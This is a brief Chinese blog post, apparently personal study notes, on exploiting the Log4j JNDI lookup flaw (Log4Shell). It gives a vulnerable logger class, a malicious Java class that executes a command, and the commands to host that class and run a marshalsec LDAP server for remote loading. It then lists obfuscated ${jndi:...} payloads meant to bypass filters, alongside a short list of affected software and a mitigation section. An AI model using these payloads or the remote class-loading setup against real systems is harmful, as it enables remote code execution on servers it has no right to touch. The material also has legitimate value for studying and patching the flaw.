声明:没研究过Java漏洞,有错误的地方一定要告诉我!!原理我也没有继续跟。
01 分析
师傅带着理了一遍,思路清晰了。
一句话总结就是:让引用了log4j的漏洞类,然后把${jndi:ldap://hackserver/xxxxxx}
当作参数传到log4j的log.error ,就会通过动态的远程加载我们精心构造的一个恶意类,恶意类编写想要执行的命令就可以达到命令执行的目的了。
黑盒测试无法识别到目标站点是否用了该框架,一般做法可能是在入参地方挨个提交payload,实战靠运气。
漏洞类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.core.Logger;
public class Main {
private static final Logger logger = (Logger) LogManager.getLogger(Main.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/xxxx}");
}
}
一个恶意类
public class Exploit {
public Exploit() {
try{
// 弹计算器
String[] commands = {"calc.exe"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
在恶意类编译后产生的class文件下启动http服务
python3 -m http.server 8100
使用marshalsec起一个LDAP服务,使得服务端可以远程加载我们的恶意类
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"
效果图
再贴个图
02 影响应用
可能的受影响应用包括但不限于如下:
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
flume
dubbo
Redis
logstash
kafka
...
03 修复方案:
(1)修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true
04 绕过
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
推个项目:https://github.com/GitlXl/fgzz burp插件实现了主动扫描